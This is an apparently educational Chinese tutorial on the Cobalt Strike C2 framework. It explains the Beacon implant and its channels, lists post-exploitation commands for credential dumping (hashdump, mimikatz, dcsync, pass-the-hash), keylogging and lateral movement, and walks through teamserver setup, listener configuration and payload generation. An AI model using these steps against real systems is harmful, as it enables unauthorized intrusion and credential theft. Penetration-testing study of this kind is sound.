🛠️ 使用的工具
- Cobalt Strike — 渗透测试的 C2 框架
一、Beacon(信标、木马)
在CobaltStrike中:
Beacon是其核心payload(攻击载荷),可以理解为一个功能极其强大、高度模块化的“后门程序”,它运行在已渗透的目标主机上,负责与控制端(C2服务器)建立秘密通信并执行各种恶意命令。
🧬 Beacon的核心工作机制
Beacon的核心工作机制可以概括为“心脏跳动式通信”,这是一种非实时的、异步的工作模式,也是它名字“Beacon”(信标)的由来。
- “心跳”连接:Beacon运行后,并不会一直与控制端保持连接。它会按照预设的睡眠时间,比如每60秒一次,定期“醒来”,向控制端的监听器(Listener) 发送一个简短信号来“报到”,并询问是否有新任务。
- 获取任务:如果控制端有待执行的任务,Beacon会将其下载到目标主机上。
- 执行与休眠:在本地执行完任务后,Beacon会再次进入休眠状态,等待下一次“心跳”时再回传任务结果。
这种工作模式最大的好处是隐蔽性强。通信并非实时连续,而是低频次、有规律的,这使得它能够很好地规避许多基于实时流量分析的安全检测系统。
📡 Beacon的通信模式
- HTTP/HTTPS Beacon:通过Web请求上线(最常见,支持域前置)
- DNS Beacon:通过DNS传输数据(隐匿性极强,但慢)
- SMB Beacon:用于内网横向移动
- TCP Beacon:自定义端口传输,适合非标准环境
🔧 Beacon的后渗透功能
一旦Beacon成功上线,攻击者就能通过它执行各种后渗透操作,几乎所有攻击功能都是通过Beacon来完成的。主要功能包括:
- 信息收集:执行系统命令、列举进程、抓取密码哈希(Hash)、截屏、键盘记录等。
- 权限提升:利用系统漏洞将当前低权限会话提升至
SYSTEM或管理员权限。 - 内网漫游:通过端口扫描、网络探测发现内网其他主机,并利用PsExec、WMI等工具横向移动到其他机器。
- 持久化:在系统中安装后门或服务,确保重启后依然能被控制。
- 加载插件:能够动态加载和运行额外的插件模块(如Beacon Object Files,BOF),极大地扩展了其攻击能力。
📋 Beacon 常用命令大全
🔹 信息收集类
ls:列出目录文件pwd:显示当前目录ps:显示进程列表drives:列出所有磁盘盘符net:网络和主机探测工具portscan:端口扫描getuid:获取当前用户信息screenshot:截屏keylogger:开启键盘记录
🔹 权限提升类
getsystem:尝试获取 SYSTEM 权限elevate:利用漏洞获取高权限 Beaconrunasadmin:以高权限执行程序getprivs:启用当前令牌的 system 特权
🔹 横向移动类
jump:在远程机器上植入 Beacon(横向移动)remote-exec:在远程机器上执行命令link:通过命名管道连接远程 SMB Beaconconnect:通过 TCP 正向连接远程 Beaconunlink:断开与 Beacon 的连接
🔹 凭证操作类
hashdump:获取本地用户密码哈希mimikatz:运行 mimikatz 获取密码logonpasswords:使用 mimikatz 获取密码和哈希pth:执行 Pass-the-Hash 攻击dcsync:从域控提取密码哈希
🔹 文件操作类
download:下载文件upload:上传文件cp:复制文件mv:移动文件rm:删除文件或文件夹mkdir:创建目录cd:切换目录
🔹 执行控制类
shell:通过 cmd.exe 执行命令run:执行程序(有回显)execute:执行程序(无回显)powershell:通过 powershell.exe 执行命令powerpick:内存执行 PowerShell(不调用 powershell.exe)execute-assembly:内存加载执行 .NET 程序sleep:设置心跳间隔时间exit:结束当前 Beacon 会话
🔹 代理与隧道类
socks:启动 SOCKS4a 代理rportfwd:反向端口转发covertvpn:部署 Covert VPN 客户端
📌 Beacon 一句话总结
CS里面的Beacon就是”定时呼叫母舰的远程控制木马”,在实战中它是你的”前线小兵”,真正负责信息收集、执行命令、上传数据。
二、Cobalt Strike 基本使用
Cobalt Strike 是一款基于 Java 开发的 C/S 架构渗透测试工具,服务端需部署在 Linux 服务器上,客户端跨平台运行。以下是完整的使用流程。
📦 环境搭建
- 服务端配置(Linux)
# 安装 Java 环境(JDK 11)
sudo apt install openjdk-11-jdk

#检测 Java 环境是否安装成功
java -version

# 给服务端脚本执行权限
chmod +x teamserver TeamServerImage
# 启动服务端(IP填服务器公网/内网IP,密码自定义)
./teamserver <服务器IP> <密码>

- 客户端连接(Windows)
# Windows 客户端
.\Cobalt_Strike_CN.bat


🎧 创建监听器(Listener)
- 操作步骤
- 点击菜单
Cobalt Strike→Listeners→Add - 配置关键参数
| 参数 | 说明 | 示例 |
|---|---|---|
| Name | 监听器名称(自定义) | http_80 |
| Payload | 通信协议类型 | windows/beacon_http/reverse_http |
| HTTP Hosts | TeamServer 的 IP 或域名(会写入木马) | 192.168.1.100 或 c2.example.com |
| HTTP Port (C2) | 监听端口 | 80 / 443 / 8080 |

💣 生成攻击载荷(Payload)
- 操作步骤
- 点击
Attacks→Packages→Windows Executable - 配置参数:

💻 上线与基础控制
- 执行木马
将木马传输至目标主机并运行,Cobalt Strike 界面会出现新的 Beacon 条目

- 调整心跳间隔(重要!)
Beacon 默认 60秒 回连一次,执行命令后需要等待一个周期才有回显。右键 Beacon → Sleep,设置为 0 即可改为实时通信

这里设置成5秒回连一次

- 交互方式
右键 Beacon → 选择功能菜单(Explore、Access、Pivoting等)



